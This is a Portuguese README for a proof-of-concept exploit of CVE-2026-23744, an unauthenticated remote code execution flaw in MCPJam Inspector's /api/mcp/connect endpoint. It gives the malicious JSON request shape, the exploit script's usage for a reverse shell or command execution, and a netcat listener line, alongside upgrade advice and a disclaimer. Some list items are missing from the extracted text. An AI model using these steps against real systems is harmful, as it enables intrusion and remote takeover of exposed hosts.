
Exploit de prova de conceito para CVE-2026-23744, um RCE não autenticado no MCPJam Inspector. Fornece reverse shell e execução de comandos através de um endpoint de API vulnerável.
CVE-2026-23744 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) Não Autenticada que afeta MCPJam Inspector ≤ 1.4.2. O problema surge porque o Inspector expõe um endpoint de gerenciamento (/api/mcp/connect) que aceita configuração de servidor MCP controlada pelo usuário e pode acionar execução de processos sem autenticação ou restrições de segurança adequadas. As versões afetadas escutam em 0.0.0.0 (todas as interfaces) por padrão, em vez de localhost, possibilitando exploração remota se o serviço estiver acessível pela rede.
A vulnerabilidade está associada ao seguinte endpoint:
POST /api/mcp/connect
O endpoint aceita um objeto JSON contendo uma configuração de servidor, como:
{
"serverConfig": {
"command": "<executable>",
"args": ["<arguments>"],
"env": {}
},
"serverId": "<identifier>"
}
Esta configuração fornecida é então usada pelo MCPJam Inspector para criar e gerenciar um novo processo de servidor MCP. Como o endpoint não possui autenticação e controles de segurança suficientes, um atacante pode enviar definições de processo arbitrárias que são executadas pelo serviço Inspector.
Fundamentalmente, a vulnerabilidade é um problema de Ausência de Autenticação para Função Crítica (CWE-306) no qual a aplicação expõe funcionalidades destinadas a usuários locais confiáveis e as torna acessíveis pela rede sem verificações de segurança adequadas.
A vulnerabilidade decorre de duas falhas de projeto:
0.0.0.0 por padrão.O caminho de ataque resultante pode ser visualizado da seguinte forma:
Atacante → /api/mcp/connect → Criação de Processo → Sistema Operacional
Como a aplicação interage diretamente com a criação de processos do sistema operacional, a exploração bem-sucedida pode resultar na execução arbitrária de comandos no contexto de segurança do serviço MCPJam Inspector.
python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port>
-t (ou) --target: URL alvo ou endereço IP alvo.-tport (ou) --target-port: Porta alvo para conectar; na maioria dos casos, é 6274 para MCPJam Inspector. Não use este argumento se MCPJam Inspector estiver hospedado em outro local, como em um subdomínio ou host virtual. Em vez disso, use o argumento -t para especificar o subdomínio ou host virtual.-lhost (ou) --local-host: Endereço IP público para o reverse shell se conectar de volta.-lport (ou) --local-port: Porta a ser usada para o reverse shell.python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port> -c '<command>'
-c (ou) --command: Comando a ser executado no alvo.Antes de usar este programa, você deve primeiro iniciar um listener em sua máquina local usando o Netcat.
Para fazer isso, use o seguinte comando:
nc -lvnp <port>
Em seguida, execute o comando acima para obter um reverse shell no alvo.
A exploração bem-sucedida pode permitir que um atacante:
A vulnerabilidade recebeu uma pontuação CVSS v3.1 de 9.8 (Crítico) devido ao seu vetor de ataque baseado em rede, falta de autenticação, ausência de interação do usuário e alto impacto na confidencialidade, integridade e disponibilidade.
Atualize imediatamente para MCPJam Inspector 1.4.3 ou posterior. Medidas defensivas adicionais incluem:
Este PoC é exclusivamente para fins educacionais, pesquisa de segurança defensiva e testes de segurança autorizados. Deve ser usado apenas contra sistemas com permissão explícita. O uso não autorizado contra sistemas de terceiros pode violar leis e regulamentos aplicáveis. O proprietário deste repositório não é responsável por quaisquer danos causados pelo uso deste programa.